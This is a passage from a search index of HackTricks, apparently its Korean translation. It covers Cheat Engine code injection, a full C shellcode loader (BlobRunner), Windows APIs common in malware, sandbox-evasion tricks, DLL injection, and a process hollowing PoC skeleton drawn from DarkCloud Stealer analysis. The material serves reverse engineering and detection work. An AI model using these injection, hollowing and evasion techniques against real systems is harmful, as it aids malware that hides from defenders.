(첫 번째 \\"주소\\"는 입력한 포인터 주소에서 자동으로 채워지는 것을 주의하세요) 확인을 클릭하면 새로운 포인터가 생성됩니다: 이제 그 값을 수정할 때마다 값이 있는 메모리 주소가 다르더라도 중요한 값을 수정하는 것입니다.","breadcrumbs":"Reversing Tools & Basic Methods » Cheat Engine » 랜덤 메모리 주소 - 포인터 찾기","id":"10019","title":"랜덤 메모리 주소 - 포인터 찾기"},"1002":{"body":"이를 완화하기 위해 믹싱 서비스나 여러 주소를 사용하는 것이 소유권을 모호하게 하는 데 도움이 될 수 있습니다.","breadcrumbs":"Blockchain & Crypto » 예시","id":"1002","title":"예시"},"10020":{"body":"코드 주입은 대상 프로세스에 코드 조각을 주입한 다음, 코드 실행을 자신의 코드로 리라우팅하는 기술입니다(예: 점수를 주는 대신 빼앗는 것). 따라서 플레이어의 생명에서 1을 빼는 주소를 찾았다고 가정해 보겠습니다: 디스어셈블 코드 를 얻기 위해 Show disassembler를 클릭합니다. 그런 다음 CTRL+a 를 클릭하여 자동 조립 창을 호출하고 _ Template --> Code Injection _을 선택합니다. 수정하려는 명령어의 주소 를 입력합니다(보통 자동으로 채워집니다): 템플릿이 생성됩니다: 따라서 \\" newmem \\" 섹션에 새로운 어셈블리 코드를 삽입하고 \\" originalcode \\"에서 원래 코드를 제거하면 실행되지 않습니다. 이 예제에서 주입된 코드는 1을 빼는 대신 2점을 추가합니다: 실행을 클릭하면 코드가 프로그램에 주입되어 기능의 동작이 변경됩니다!","breadcrumbs":"Reversing Tools & Basic Methods » Cheat Engine » 코드 주입","id":"10020","title":"코드 주입"},"10021":{"body":"Cheat Engine은 7.0 버전 이후 계속 발전해 왔으며, 현대 소프트웨어(게임뿐만 아니라!)를 분석할 때 매우 유용한 여러 품질 개선 및 공격적 리버싱 기능이 추가되었습니다. 아래는 레드팀/CTF 작업 중 가장 많이 사용할 가능성이 있는 추가 기능에 대한 매우 간결한 필드 가이드 입니다.","breadcrumbs":"Reversing Tools & Basic Methods » Cheat Engine » Cheat Engine 7.x의 고급 기능 (2023-2025)","id":"10021","title":"Cheat Engine 7.x의 고급 기능 (2023-2025)"},"10022":{"body":"포인터는 특정 오프셋으로 끝나야 하며 새로운 편차 슬라이더(≥7.4)는 업데이트 후 재스캔할 때 잘못된 긍정을 크게 줄입니다. 이를 다중 맵 비교(.PTR → 다른 저장된 포인터 맵과 결과 비교 )와 함께 사용하여 단 몇 분 만에 단일 내구성 있는 기본 포인터 를 얻을 수 있습니다. 대량 필터 단축키: 첫 번째 스캔 후 Ctrl+A → Space를 눌러 모든 항목을 선택한 다음 Ctrl+I(반전)를 눌러 재스캔에 실패한 주소를 선택 해제합니다.","breadcrumbs":"Reversing Tools & Basic Methods » Cheat Engine » 포인터 스캐너 2 개선","id":"10022","title":"포인터 스캐너 2 개선"},"10023":{"body":"*7.5부터 이전 Ultimap이 Intel Processor-Trace (IPT) 위에 재구현되었습니다. 이는 이제 단일 스텝 없이 대상이 취하는 모든 분기를 기록할 수 있음을 의미합니다(사용자 모드 전용, 대부분의 안티 디버그 장치를 작동시키지 않습니다). Memory View → Tools → Ultimap 3 → check «Intel PT»\\nSelect number of buffers → Start 몇 초 후에 캡처를 중지하고 오른쪽 클릭 → 실행 목록을 파일로 저장 합니다. 분기 주소를 이 명령이 접근하는 주소 찾기 세션과 결합하여 고주파수 게임 로직 핫스팟을 매우 빠르게 찾을 수 있습니다.","breadcrumbs":"Reversing Tools & Basic Methods » Cheat Engine » Ultimap 3 – Intel PT 추적","id":"10023","title":"Ultimap 3 – Intel PT 추적"},"10024":{"body":"버전 7.5에서는 SEH 핸들러를 설치하고 원래 위치에 INT3를 배치하는 1바이트 JMP 스텁(0xEB)이 도입되었습니다. 이는 5바이트 상대 점프를 사용하여 패치할 수 없는 명령어에 대해 자동 어셈블러 → 템플릿 → 코드 주입 을 사용할 때 자동으로 생성됩니다. 이를 통해 패킹되거나 크기가 제한된 루틴 내에서 \\"타이트\\" 훅을 가능하게 합니다.","breadcrumbs":"Reversing Tools & Basic Methods » Cheat Engine » 1바이트 jmp / 자동 패치 템플릿","id":"10024","title":"1바이트 jmp / 자동 패치 템플릿"},"10025":{"body":"DBVM 은 CE의 내장형 Type-2 하이퍼바이저입니다. 최근 빌드에서는 AMD-V/SVM 지원 이 추가되어 Ryzen/EPYC 호스트에서 드라이버 → DBVM 로드를 실행할 수 있습니다. DBVM을 사용하면: Ring-3/안티 디버그 검사에 보이지 않는 하드웨어 중단점을 생성할 수 있습니다. 사용자 모드 드라이버가 비활성화된 경우에도 페이지 가능하거나 보호된 커널 메모리 영역을 읽고 쓸 수 있습니다. VM-EXIT 없는 타이밍 공격 우회를 수행할 수 있습니다 (예: 하이퍼바이저에서 rdtsc 쿼리). 팁: DBVM은 Windows 11에서 HVCI/메모리 무결성이 활성화되어 있을 때 로드를 거부합니다 → 이를 끄거나 전용 VM 호스트로 부팅하세요.","breadcrumbs":"Reversing Tools & Basic Methods » Cheat Engine » DBVM을 통한 커널 수준 스텔스 (AMD & Intel)","id":"10025","title":"DBVM을 통한 커널 수준 스텔스 (AMD & Intel)"},"10026":{"body":"CE는 이제 ceserver 의 전체 재작성을 제공하며 Linux, Android, macOS & iOS 타겟에 TCP로 연결할 수 있습니다. 인기 있는 포크는 Frida 를 통합하여 CE의 GUI와 동적 계측을 결합합니다 – 이는 전화에서 실행 중인 Unity 또는 Unreal 게임을 패치해야 할 때 이상적입니다: # on the target (arm64)\\n./ceserver_arm64 &\\n# on the analyst workstation\\nadb forward tcp:52736 tcp:52736 # (or ssh tunnel)\\nCheat Engine → \\"Network\\" icon → Host = localhost → Connect For the Frida bridge see bb33bb/frida-ceserver on GitHub.","breadcrumbs":"Reversing Tools & Basic Methods » Cheat Engine » 원격 / 크로스 플랫폼 디버깅 ceserver","id":"10026","title":"원격 / 크로스 플랫폼 디버깅 ceserver"},"10027":{"body":"Patch Scanner (MemView → Tools) – 실행 가능한 섹션에서 예상치 못한 코드 변경을 감지합니다; 맬웨어 분석에 유용합니다. Structure Dissector 2 – 주소 드래그 → Ctrl+D, 그런 다음 Guess fields 를 사용하여 C-구조체를 자동 평가합니다. .NET & Mono Dissector – Unity 게임 지원 개선; CE Lua 콘솔에서 직접 메서드를 호출합니다. Big-Endian custom types – 바이트 순서 반전 스캔/편집 (콘솔 에뮬레이터 및 네트워크 패킷 버퍼에 유용합니다). Autosave & tabs for AutoAssembler/Lua windows, plus reassemble() for multi-line instruction rewrite.","breadcrumbs":"Reversing Tools & Basic Methods » Cheat Engine » Other noteworthy goodies","id":"10027","title":"Other noteworthy goodies"},"10028":{"body":"공식 설치 프로그램은 InnoSetup 광고 제안 (RAV 등)으로 포장되어 있습니다. 항상 거부 를 클릭하세요 또는 소스에서 컴파일하여 PUP를 피하세요 . AV는 여전히 cheatengine.exe를 HackTool 로 표시할 것입니다, 이는 예상됩니다. 현대의 안티 치트 드라이버(EAC/Battleye, ACE-BASE.sys, mhyprot2.sys)는 이름이 변경되더라도 CE의 윈도우 클래스를 감지합니다. 리버싱 복사본을 일회용 VM 내에서 실행 하거나 네트워크 플레이를 비활성화한 후 실행하세요. 사용자 모드 접근만 필요하다면 **Settings → Extra → Kernel mode debug = off**를 선택하여 Windows 11 24H2 Secure-Boot에서 BSOD를 유발할 수 있는 CE의 서명되지 않은 드라이버 로드를 피하세요.","breadcrumbs":"Reversing Tools & Basic Methods » Cheat Engine » Installation & OPSEC notes (2024-2025)","id":"10028","title":"Installation & OPSEC notes (2024-2025)"},"10029":{"body":"Cheat Engine 7.5 release notes (GitHub) frida-ceserver cross-platform bridge Cheat Engine tutorial, complete it to learn how to start with Cheat Engine tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Reversing Tools & Basic Methods » Cheat Engine » References","id":"10029","title":"References"},"1003":{"body":"사용자들은 때때로 자신의 비트코인 주소를 온라인에 공유하여 주소와 소유자를 쉽게 연결할 수 있게 합니다 .","breadcrumbs":"Blockchain & Crypto » 소셜 네트워크 및 포럼 노출","id":"1003","title":"소셜 네트워크 및 포럼 노출"},"10030":{"body":"tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요. 원본 코드 에서 수정된 유일한 줄은 10번째 줄입니다. 컴파일하려면 Visual Studio Code에서 C/C++ 프로젝트를 생성하고 코드를 복사하여 붙여넣고 빌드하면 됩니다 . c #include \\n#include \\n#include #ifdef _WIN64\\n#include \\n#endif // Define bool\\n#pragma warning(disable:4996)\\n#define true 1\\n#define false 0 const char* _version = \\"0.0.5\\"; const char* _banner = \\" __________.__ ___. __________\\\\n\\"\\n\\" \\\\\\\\______ \\\\\\\\ | ____\\\\\\\\_ |__\\\\\\\\______ \\\\\\\\__ __ ____ ____ ___________ \\\\n\\"\\n\\" | | _/ | / _ \\\\\\\\| __ \\\\\\\\| _/ | \\\\\\\\/ \\\\\\\\ / \\\\\\\\_/ __ \\\\\\\\_ __ \\\\\\\\ \\\\n\\"\\n\\" | | \\\\\\\\ |_( <_> ) \\\\\\\\_\\\\\\\\ \\\\\\\\ | \\\\\\\\ | / | \\\\\\\\ | \\\\\\\\ ___/| | \\\\\\\\/ \\\\n\\"\\n\\" |______ /____/\\\\\\\\____/|___ /____|_ /____/|___| /___| /\\\\\\\\___ >__| \\\\n\\"\\n\\" \\\\\\\\/ \\\\\\\\/ \\\\\\\\/ \\\\\\\\/ \\\\\\\\/ \\\\\\\\/ \\\\n\\\\n\\"\\n\\" %s \\\\n\\\\n\\"; void banner() {\\nsystem(\\"cls\\");\\nprintf(_banner, _version);\\nreturn;\\n} LPVOID process_file(char* inputfile_name, bool jit, int offset, bool debug) {\\nLPVOID lpvBase;\\nFILE* file;\\nunsigned long fileLen;\\nchar* buffer;\\nDWORD dummy; file = fopen(inputfile_name, \\"rb\\"); if (!file) {\\nprintf(\\" [!] Error: Unable to open %s\\\\n\\", inputfile_name); return (LPVOID)NULL;\\n} printf(\\" [*] Reading file...\\\\n\\");\\nfseek(file, 0, SEEK_END);\\nfileLen = ftell(file); //Get Length printf(\\" [*] File Size: 0x%04x\\\\n\\", fileLen);\\nfseek(file, 0, SEEK_SET); //Reset fileLen += 1; buffer = (char*)malloc(fileLen); //Create Buffer\\nfread(buffer, fileLen, 1, file);\\nfclose(file); printf(\\" [*] Allocating Memory...\\"); lpvBase = VirtualAlloc(NULL, fileLen, 0x3000, 0x40); printf(\\".Allocated!\\\\n\\");\\nprintf(\\" [*] |-Base: 0x%08x\\\\n\\", (int)(size_t)lpvBase);\\nprintf(\\" [*] Copying input data...\\\\n\\"); CopyMemory(lpvBase, buffer, fileLen);\\nreturn lpvBase;\\n} void execute(LPVOID base, int offset, bool nopause, bool jit, bool debug)\\n{\\nLPVOID shell_entry; #ifdef _WIN64\\nDWORD thread_id;\\nHANDLE thread_handle;\\nconst char msg[] = \\" [*] Navigate to the Thread Entry and set a breakpoint. Then press any key to resume the thread.\\\\n\\";\\n#else\\nconst char msg[] = \\" [*] Navigate to the EP and set a breakpoint. Then press any key to jump to the shellcode.\\\\n\\";\\n#endif shell_entry = (LPVOID)((UINT_PTR)base + offset); #ifdef _WIN64 printf(\\" [*] Creating Suspended Thread...\\\\n\\");\\nthread_handle = CreateThread(\\nNULL, // Attributes\\n0, // Stack size (Default)\\nshell_entry, // Thread EP\\nNULL, // Arguments\\n0x4, // Create Suspended\\n&thread_id); // Thread identifier if (thread_handle == NULL) {\\nprintf(\\" [!] Error Creating thread...\\");\\nreturn;\\n}\\nprintf(\\" [*] Created Thread: [%d]\\\\n\\", thread_id);\\nprintf(\\" [*] Thread Entry: 0x%016x\\\\n\\", (int)(size_t)shell_entry); #endif if (nopause == false) {\\nprintf(\\"%s\\", msg);\\ngetchar();\\n}\\nelse\\n{\\nif (jit == true) {\\n// Force an exception by making the first byte not executable.\\n// This will cause\\nDWORD oldp; printf(\\" [*] Removing EXECUTE access to trigger exception...\\\\n\\"); VirtualProtect(shell_entry, 1 , PAGE_READWRITE, &oldp);\\n}\\n} #ifdef _WIN64\\nprintf(\\" [*] Resuming Thread..\\\\n\\");\\nResumeThread(thread_handle);\\n#else\\nprintf(\\" [*] Entry: 0x%08x\\\\n\\", (int)(size_t)shell_entry);\\nprintf(\\" [*] Jumping to shellcode\\\\n\\");\\n__asm jmp shell_entry;\\n#endif\\n} void print_help() {\\nprintf(\\" [!] Error: No file!\\\\n\\\\n\\");\\nprintf(\\" Required args: \\\\n\\\\n\\");\\nprintf(\\" Optional Args:\\\\n\\");\\nprintf(\\" --offset The offset to jump into.\\\\n\\");\\nprintf(\\" --nopause Don\'t pause before jumping to shellcode. Danger!!! \\\\n\\");\\nprintf(\\" --jit Forces an exception by removing the EXECUTE permission from the alloacted memory.\\\\n\\");\\nprintf(\\" --debug Verbose logging.\\\\n\\");\\nprintf(\\" --version Print version and exit.\\\\n\\\\n\\");\\n} int main(int argc, char* argv[])\\n{\\nLPVOID base;\\nint i;\\nint offset = 0;\\nbool nopause = false;\\nbool debug = false;\\nbool jit = false;\\nchar* nptr; banner(); if (argc < 2) {\\nprint_help();\\nreturn -1;\\n} printf(\\" [*] Using file: %s \\\\n\\", argv[1]); for (i = 2; i < argc; i++) {\\nif (strcmp(argv[i], \\"--offset\\") == 0) {\\nprintf(\\" [*] Parsing offset...\\\\n\\");\\ni = i + 1;\\nif (strncmp(argv[i], \\"0x\\", 2) == 0) {\\noffset = strtol(argv[i], &nptr, 16);\\n}\\nelse {\\noffset = strtol(argv[i], &nptr, 10);\\n}\\n}\\nelse if (strcmp(argv[i], \\"--nopause\\") == 0) {\\nnopause = true;\\n}\\nelse if (strcmp(argv[i], \\"--jit\\") == 0) {\\njit = true;\\nnopause = true;\\n}\\nelse if (strcmp(argv[i], \\"--debug\\") == 0) {\\ndebug = true;\\n}\\nelse if (strcmp(argv[i], \\"--version\\") == 0) {\\nprintf(\\"Version: %s\\", _version);\\n}\\nelse {\\nprintf(\\"[!] Warning: Unknown arg: %s\\\\n\\", argv[i]);\\n}\\n} base = process_file(argv[1], jit, offset, debug);\\nif (base == NULL) {\\nprintf(\\" [!] Exiting...\\");\\nreturn -1;\\n}\\nprintf(\\" [*] Using offset: 0x%08x\\\\n\\", offset);\\nexecute(base, offset, nopause, jit, debug);\\nprintf(\\"Pausing - Press any key to quit.\\\\n\\");\\ngetchar();\\nreturn 0;\\n} tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Reversing Tools & Basic Methods » Blobrunner","id":"10030","title":"Reversing Tools & Basic Methods"},"10031":{"body":"Reading time: 7 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Common API used in Malware » 일반 API (Common API used in Malware)","id":"10031","title":"일반 API (Common API used in Malware)"},"10032":{"body":"","breadcrumbs":"Common API used in Malware » 일반","id":"10032","title":"일반"},"10033":{"body":"Raw Sockets WinAPI Sockets socket() WSAStratup() bind() bind() listen() listen() accept() accept() connect() connect() read()/recv() recv() write() send() shutdown() WSACleanup()","breadcrumbs":"Common API used in Malware » 네트워킹","id":"10033","title":"네트워킹"},"10034":{"body":"많은 로더는 TCP 스트림을 SslStream으로 감싸고 서버의 leaf certificate를 임베디드 복사본에 대해 고정합니다 (certificate pinning). 봇 정보/작업은 압축됩니다(예: GZip). 응답 크기가 임계값(약 1 MB)을 초과하면, 데이터는 크기 기반 휴리스틱을 회피하고 역직렬화 중 메모리 스파이크를 줄이기 위해 작은 청크(예: 16 KB 세그먼트)로 분할됩니다.","breadcrumbs":"Common API used in Malware » TLS pinning and chunked transport","id":"10034","title":"TLS pinning and chunked transport"},"10035":{"body":"레지스트리 (Registry) 파일 (File) 서비스 (Service) RegCreateKeyEx() GetTempPath() OpenSCManager RegOpenKeyEx() CopyFile() CreateService() RegSetValueEx() CreateFile() StartServiceCtrlDispatcher() RegDeleteKeyEx() WriteFile() RegGetValue() ReadFile()","breadcrumbs":"Common API used in Malware » 영속성 (Persistence)","id":"10035","title":"영속성 (Persistence)"},"10036":{"body":"Name WinCrypt CryptAcquireContext() CryptGenKey() CryptDeriveKey() CryptDecrypt() CryptReleaseContext()","breadcrumbs":"Common API used in Malware » 암호화 (Encryption)","id":"10036","title":"암호화 (Encryption)"},"10037":{"body":"함수 이름 (Function Name) 어셈블리 명령어 (Assembly Instructions) IsDebuggerPresent() CPUID() GetSystemInfo() IN() GlobalMemoryStatusEx() GetVersion() CreateToolhelp32Snapshot [Check if a process is running] CreateFileW/A [Check if a file exist]","breadcrumbs":"Common API used in Malware » 안티-분석/VM (Anti-Analysis/VM)","id":"10037","title":"안티-분석/VM (Anti-Analysis/VM)"},"10038":{"body":"Malware는 종종 Defender의 virtualised exports(예: Malware Protection Emulator에서 관찰되는)를 검색하여 샌드박스 에뮬레이터를 지문화합니다. 프로세스에서 이러한 심볼이 존재하면(대소문자 구분 없는 스캔) 실행을 10–30분 지연시키고 재확인하여 분석 시간을 소모시킵니다. 카나리로 사용되는 API 이름 예시: MpVmp32Entry, MpVmp32FastEnter, MpCallPreEntryPointCode, MpCallPostEntryPointCode, MpFinalize, MpReportEvent*, MpSwitchToNextThread* VFS_* family: VFS_Open, VFS_Read, VFS_MapViewOfFile, VFS_UnmapViewOfFile, VFS_FindFirstFile/FindNextFile, VFS_CopyFile, VFS_DeleteFile, VFS_MoveFile ThrdMgr_*: ThrdMgr_GetCurrentThreadHandle, ThrdMgr_SaveTEB, ThrdMgr_SwitchThreads 일반적인 지연 프리미티브 (user-land): cmd cmd /c timeout /t %RANDOM_IN_[600,1800]% > nul 인자 게이트키핑 운영자들은 페이로드 실행 전에 무해해 보이는 CLI 스위치의 존재를 요구하는 경우가 있다(예: Chromium 자식 프로세스를 흉내내기 위한 /i:--type=renderer). 스위치가 없으면 loader가 즉시 종료되어 단순한 sandbox 실행을 방해한다.","breadcrumbs":"Common API used in Malware » 에뮬레이터 API 지문화 및 슬립 회피 (Emulator API fingerprinting & sleep evasion)","id":"10038","title":"에뮬레이터 API 지문화 및 슬립 회피 (Emulator API fingerprinting & sleep evasion)"},"10039":{"body":"이름 VirtualAlloc 메모리 할당 (packers) VirtualProtect 메모리 권한 변경 (section에 실행 권한을 부여하는 packer) ReadProcessMemory 외부 프로세스에 대한 주입 WriteProcessMemoryA/W 외부 프로세스에 대한 주입 NtWriteVirtualMemory CreateRemoteThread DLL/Process injection... NtUnmapViewOfSection QueueUserAPC CreateProcessInternalA/W","breadcrumbs":"Common API used in Malware » Stealth","id":"10039","title":"Stealth"},"1004":{"body":"거래는 그래프로 시각화될 수 있으며, 자금 흐름에 따라 사용자 간의 잠재적 연결을 드러냅니다.","breadcrumbs":"Blockchain & Crypto » 거래 그래프 분석","id":"1004","title":"거래 그래프 분석"},"10040":{"body":"함수 이름 CreateProcessA/W ShellExecute WinExec ResumeThread NtResumeThread","breadcrumbs":"Common API used in Malware » Execution","id":"10040","title":"Execution"},"10041":{"body":"GetAsyncKeyState() -- 키로깅 SetWindowsHookEx -- 키로깅 GetForeGroundWindow -- 실행 중인 창 이름 가져오기 (또는 브라우저의 웹사이트) LoadLibrary() -- 라이브러리 로드 GetProcAddress() -- 함수 주소 조회 CreateToolhelp32Snapshot() -- 실행 중인 프로세스 나열 GetDC() -- 화면 캡처 BitBlt() -- 화면 캡처 InternetOpen(), InternetOpenUrl(), InternetReadFile(), InternetWriteFile() -- 인터넷 접근 FindResource(), LoadResource(), LockResource() -- 실행 파일의 리소스 접근","breadcrumbs":"Common API used in Malware » Miscellaneous","id":"10041","title":"Miscellaneous"},"10042":{"body":"","breadcrumbs":"Common API used in Malware » Malware Techniques","id":"10042","title":"Malware Techniques"},"10043":{"body":"Execute an arbitrary DLL inside another process 악성 DLL을 주입할 프로세스를 찾음: CreateToolhelp32Snapshot, Process32First, Process32Next 프로세스를 엶: GetModuleHandle, GetProcAddress, OpenProcess 프로세스 내부에 DLL 경로를 씀: VirtualAllocEx, WriteProcessMemory 악성 DLL을 로드할 스레드를 생성: CreateRemoteThread, LoadLibrary Other functions to use: NTCreateThreadEx, RtlCreateUserThread","breadcrumbs":"Common API used in Malware » DLL Injection","id":"10043","title":"DLL Injection"},"10044":{"body":"Load a malicious DLL without calling normal Windows API calls. The DLL is mapped inside a process, it will resolve the import addresses, fix the relocations and call the DllMain function.","breadcrumbs":"Common API used in Malware » Reflective DLL Injection","id":"10044","title":"Reflective DLL Injection"},"10045":{"body":"Find a thread from a process and make it load a malicious DLL 대상 스레드 찾기: CreateToolhelp32Snapshot, Thread32First, Thread32Next 스레드 열기: OpenThread 스레드 일시중지: SuspendThread 희생자 프로세스 내부에 악성 DLL 경로 기록: VirtualAllocEx, WriteProcessMemory 라이브러리를 로드하면서 스레드 재개: ResumeThread","breadcrumbs":"Common API used in Malware » Thread Hijacking","id":"10045","title":"Thread Hijacking"},"10046":{"body":"Portable Execution Injection: The executable will be written in the memory of the victim process and it will be executed from there.","breadcrumbs":"Common API used in Malware » PE Injection","id":"10046","title":"PE Injection"},"10047":{"body":"Process Hollowing은 Windows 악성코드가 사용하는 대표적인 defence-evasion / execution 트릭 중 하나이다. 아이디어는 정상적인 프로세스를 suspended 상태로 실행한 뒤, 메모리에서 원래 이미지를 제거(hollow)하고 그 자리에 임의의 PE 를 복사하는 것이다. 기본 스레드가 재개되면 악성 엔트리 포인트가 신뢰된 바이너리(종종 Microsoft 서명됨)의 위장 하에 실행된다. 전형적인 작업 흐름: 무해한 호스트(예: RegAsm.exe, rundll32.exe, msbuild.exe)를 아무 명령도 실행되지 않도록 suspended 상태로 생성. c STARTUPINFOA si = { sizeof(si) };\\nPROCESS_INFORMATION pi;\\nCreateProcessA(\\"C:\\\\\\\\Windows\\\\\\\\Microsoft.NET\\\\\\\\Framework32\\\\\\\\v4.0.30319\\\\\\\\RegAsm.exe\\",\\nNULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi); 악성 페이로드를 메모리로 읽어 PE 헤더를 파싱하여 SizeOfImage, 섹션들 및 새로운 EntryPoint를 얻음. NtUnmapViewOfSection / ZwUnmapViewOfSection – suspended된 프로세스의 원래 이미지 베이스를 언맵. VirtualAllocEx – 원격 프로세스 내부에 SizeOfImage 크기의 RWX 메모리를 예약. WriteProcessMemory – 먼저 Headers를 복사한 다음 섹션들을 순회하며 raw 데이터를 복사. SetThreadContext – 컨텍스트 구조의 EAX/RAX (x64에서는 RCX) 또는 Rip 값을 패치하여 EIP가 페이로드의 EntryPoint를 가리키도록 함. ResumeThread – 스레드가 계속 실행되어 공격자가 제공한 코드를 실행함. 최소 PoC (x86) 골격: c void RunPE(LPCSTR host, LPVOID payload, DWORD payloadSize){\\n// 1. create suspended process\\nSTARTUPINFOA si = {sizeof(si)}; PROCESS_INFORMATION pi;\\nCreateProcessA(host, NULL,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,&pi); // 2. read remote PEB to get ImageBaseAddress\\nCONTEXT ctx; ctx.ContextFlags = CONTEXT_FULL;\\nGetThreadContext(pi.hThread,&ctx);\\nPVOID baseAddr;\\nReadProcessMemory(pi.hProcess,(PVOID)(ctx.Ebx+8),&baseAddr,4,NULL); // 3. unmap original image & allocate new region at same base\\nNtUnmapViewOfSection(pi.hProcess,baseAddr);\\nPVOID newBase = VirtualAllocEx(pi.hProcess,baseAddr,pHdr->OptionalHeader.SizeOfImage,\\nMEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);\\n// 4-5. copy headers & sections …\\n// 6. write new image base into PEB and set Eip\\nWriteProcessMemory(pi.hProcess,(PVOID)(ctx.Ebx+8),&baseAddr,4,NULL);\\nctx.Eax = (DWORD)(newBase) + pHdr->OptionalHeader.AddressOfEntryPoint;\\nSetThreadContext(pi.hThread,&ctx);\\n// 7. run!\\nResumeThread(pi.hThread);\\n} 다음은 DarkCloud Stealer 캠페인에서 관찰된 실무 노트: 로더는 RegAsm.exe (part of the .NET Framework)를 호스트로 선택 — 서명된 바이너리로 눈에 띄기 어려움. 복호화된 VB6 stealer (holographies.exe)는 디스크에 드롭되지 않음 ; hollowed 프로세스 내부에서만 존재하여 정적 탐지를 어렵게 함. 민감한 문자열(regexes, paths, Telegram credentials)은 문자열별로 RC4-encrypted 되어 런타임에만 복호화되므로 메모리 스캔이 더 복잡해짐. 탐지 아이디어: 메모리 영역이 RWX 로 할당되기 전까지 GUI/콘솔 윈도우를 전혀 생성하지 않는 CREATE_SUSPENDED 프로세스에 대해 경보를 생성(정상 코드에서는 드문 동작). 서로 다른 프로세스에서 NtUnmapViewOfSection ➜ VirtualAllocEx ➜ WriteProcessMemory 호출 시퀀스를 탐지.","breadcrumbs":"Common API used in Malware » Process Hollowing (a.k.a RunPE )","id":"10047","title":"Process Hollowing (a.k.a RunPE )"},"10048":{"body":"The SSDT ( System Service Descriptor Table )는 커널 함수(ntoskrnl.exe) 또는 GUI 드라이버(win32k.sys)를 가리켜 사용자 프로세스가 해당 함수를 호출할 수 있게 합니다. A rootkit은 이러한 포인터를 공격자가 제어하는 주소로 수정할 수 있습니다. The IRP ( I/O Request Packets )는 한 구성요소에서 다른 구성요소로 데이터를 전달합니다. 커널의 거의 모든 것은 IRP를 사용하며 각 디바이스 오브젝트는 훅될 수 있는 자체 함수 테이블을 가집니다: DKOM (Direct Kernel Object Manipulation) The IAT ( Import Address Table )는 종속성을 해결하는 데 유용합니다. 이 테이블을 훅하여 호출될 코드를 가로챌 수 있습니다. EAT ( Export Address Table ) Hooks. 이러한 훅은 userland 에서 수행할 수 있습니다. 목표는 DLL이 내보내는 함수를 훅하는 것입니다. Inline Hooks : 이 유형은 달성하기 어렵습니다. 함수 코드 자체를 수정하는 것을 포함합니다. 예를 들어 함수 시작 부분에 점프를 삽입하는 방식이 있을 수 있습니다.","breadcrumbs":"Common API used in Malware » Hooking","id":"10048","title":"Hooking"},"10049":{"body":"Unit42 – New Infection Chain and ConfuserEx-Based Obfuscation for DarkCloud Stealer Check Point Research – Under the Pure Curtain: From RAT to Builder to Coder tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Common API used in Malware » References","id":"10049","title":"References"},"1005":{"body":"이 휴리스틱은 여러 입력과 출력을 가진 거래를 분석하여 어떤 출력이 발신자에게 돌아가는 변경인지 추측하는 데 기반합니다.","breadcrumbs":"Blockchain & Crypto » 불필요한 입력 휴리스틱 (최적 변경 휴리스틱)","id":"1005","title":"불필요한 입력 휴리스틱 (최적 변경 휴리스틱)"},"10050":{"body":"Reading time: 2 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Word Macros » Word Macros","id":"10050","title":"Word Macros"},"10051":{"body":"사용되지 않는 쓰레기 코드 를 찾아내는 것은 매우 일반적이며, 이는 매크로의 리버싱을 더 어렵게 만듭니다. 예를 들어, 다음 이미지에서 항상 참이 될 수 없는 If가 사용되어 일부 쓰레기 및 쓸모없는 코드를 실행하는 것을 볼 수 